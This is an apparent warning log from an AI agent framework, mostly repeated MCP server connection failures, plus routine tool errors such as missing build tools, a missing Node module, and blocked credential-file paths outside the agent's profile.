agent.tool_executor: Tool terminal returned error (0.09s): {"output": "/usr/bin/bash: line 3: pnpm: command not found", "exit_code": 127, "error": null, "verification_evidence": {"status": "failed", "kind": "check", "scope": "full", "canonical_command": "pnpm 2026-09-10 17:54:12,373 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.83s): {"output": "> openmaic@1.0.0 test\n> vitest run\n\nsh: 1: vitest: not found", "exit_code": 127, "error": null} 2026-09-10 17:54:32,162 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.04s): {"output": "/usr/bin/bash: line 3: corepack: command not found", "exit_code": 127, "error": null, "hint": "`corepack` is not installed or not on PATH. Verify with `which corepack`; install it or use a 2026-09-10 17:55:25,032 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool skill_manage returned error (0.07s): {"success": false, "error": "Refusing background curator patch for skill 'openmaic-selfhosted': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md 2026-09-10 17:57:46,609 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:02:53,923 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:08:02,185 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:13:09,757 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:13:29,555 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.94s): {"output": "Drive File ID: 1QKJ59IMecMpD5T5iLQvNZZdfHSR0oYzf\nLỗi lấy metadata: Traceback (most recent call last):\n File \"/root/.hermes/profiles/reviewer/skills/productivity/google-workspace/script 2026-09-10 18:14:07,649 WARNING [20260910_161506_4ea28f] tools.credential_files: credential_files: rejected path traversal 'google_token.json' (Path escapes allowed directory: '/root/.hermes/google_token.json' is not in the subpath of '/root/.hermes/profiles/reviewer' OR one path is relative and the other is absolute.) 2026-09-10 18:14:07,657 WARNING [20260910_161506_4ea28f] tools.credential_files: credential_files: rejected path traversal 'google_client_secret.json' (Path escapes allowed directory: '/root/.hermes/google_client_secret.json' is not in the subpath of '/root/.hermes/profiles/reviewer' OR one path is relative and the other is absolute.) 2026-09-10 18:16:12,442 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.07s): {"output": "cat: '/opt/ai-os/products/ceo/projects/tech/OpenMAIC/app/app/api/persistence/stages/[stageId]/route.ts': No such file or directory", "exit_code": 1, "error": null} 2026-09-10 18:18:18,148 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:19:02,779 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.43s): {"output": "node:internal/modules/cjs/loader:1433\n throw err;\n ^\n\nError: Cannot find module 'pg'\nRequire stack:\n- /tmp/import_course.js\n at Function._resolveFilename (node:internal/modules 2026-09-10 18:19:47,645 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.44s): {"output": "sed: can't move '/tmp/import_course.jsIbBDDF' to '/tmp/import_course.js': Operation not permitted", "exit_code": 1, "error": null} 2026-09-10 18:19:53,181 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.60s): {"output": "node:internal/modules/cjs/loader:1433\n throw err;\n ^\n\nError: Cannot find module 'pg'\nRequire stack:\n- /tmp/import_course.js\n at Function._resolveFilename (node:internal/modules 2026-09-10 18:20:11,905 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.44s): {"output": "node:internal/modules/cjs/loader:1433\n throw err;\n ^\n\nError: Cannot find module 'pg'\nRequire stack:\n- /tmp/import_course.js\n at Function._resolveFilename (node:internal/modules 2026-09-10 18:23:26,780 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:28:34,683 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:33:42,143 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:38:49,786 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:43:57,203 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:49:04,553 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:51:08,761 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 18:51:08,761 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 18:54:12,617 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:57:01,608 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 18:57:01,630 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 18:57:01,774 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 18:57:01,858 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 18:57:03,689 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 18:57:03,716 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 18:57:03,724 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 18:57:03,742 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 18:57:09,733 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 18:59:52,938 WARNING [20260908_091541_71407d] agent.tool_executor: Tool search_files returned error (0.11s): {"total_count": 0, "error": "Path not found: profiles/r-and-d/cron/jobs.json"} 2026-09-10 19:02:19,623 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 19:07:27,427 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 19:12:34,313 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 19:17:41,737 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 19:22:49,196 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 19:27:56,352 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 19:33:04,631 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 19:38:12,867 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 19:43:20,563 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 19:48:28,170 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 19:53:35,322 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 19:58:42,299 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 20:03:48,972 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 20:08:56,514 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 20:14:04,201 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 20:19:11,407 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 20:24:19,078 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 20:29:25,757 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 20:34:34,124 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 20:39:41,513 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 20:44:48,600 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 20:49:56,797 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 20:55:03,891 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 21:00:11,933 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 21:05:19,921 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 21:10:27,413 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 21:15:34,612 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 21:20:41,555 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 21:25:49,463 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 21:30:57,572 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 21:36:05,104 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 21:41:12,971 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 21:46:20,341 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 21:51:27,568 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 21:56:34,842 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 22:01:42,905 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 22:06:49,931 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 22:11:58,422 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 22:17:07,868 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 22:22:15,120 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 22:27:23,367 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 22:32:31,242 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 22:37:38,813 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 22:42:45,479 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 22:47:53,536 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 22:53:01,573 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 22:58:08,270 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 23:03:15,535 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 23:08:23,511 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 23:13:31,519 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 23:18:39,531 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 23:23:47,159 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 23:28:54,246 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 23:34:02,473 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 23:39:09,492 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 23:44:17,015 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 23:49:24,523 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 23:54:32,667 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 23:59:40,471 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 00:04:47,707 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 00:09:54,792 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 00:15:03,672 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 00:20:13,783 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 00:25:21,833 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 00:30:29,255 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 00:35:36,588 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 00:40:45,889 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 00:45:54,616 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 00:51:02,873 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 00:56:11,006 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 01:01:18,622 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 01:06:26,484 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 01:11:34,527 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 01:16:42,018 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 01:21:50,427 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 01:26:58,075 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 01:32:05,566 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 01:37:12,922 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 01:42:20,892 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 01:47:28,365 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 01:52:36,384 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 01:57:44,844 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 02:02:52,723 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 02:08:00,646 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 02:13:09,634 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 02:18:20,051 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 02:23:28,515 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 02:28:36,249 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 02:33:43,988 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 02:38:50,903 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 02:43:59,345 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 02:49:07,249 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 02:54:14,204 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 02:59:22,204 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 03:04:30,031 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 03:09:38,775 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 03:14:46,151 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 03:19:53,632 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 03:25:02,840 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 03:30:11,799 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 03:35:19,983 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 03:40:27,074 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 03:45:34,654 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 03:50:43,550 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 03:55:51,215 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 04:00:59,802 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 04:06:08,022 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 04:11:16,211 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 04:16:23,586 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 04:21:31,319 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 04:26:39,285 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 04:31:47,259 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 04:36:55,249 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 04:42:02,390 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 04:47:09,147 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 04:52:16,860 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 04:57:24,605 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 05:02:32,948 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 05:07:39,621 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 05:12:46,998 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 05:17:54,841 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 05:23:02,417 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 05:28:10,188 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 05:33:17,218 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 05:38:25,476 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 05:43:32,295 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 05:48:40,251 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 05:53:48,081 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 05:58:55,243 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 06:04:02,415 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 06:09:09,977 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 06:14:16,682 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 06:19:26,701 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 06:24:34,353 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 06:29:41,463 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 06:34:48,459 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 06:37:28,997 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-09-11 06:37:30,686 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-09-11 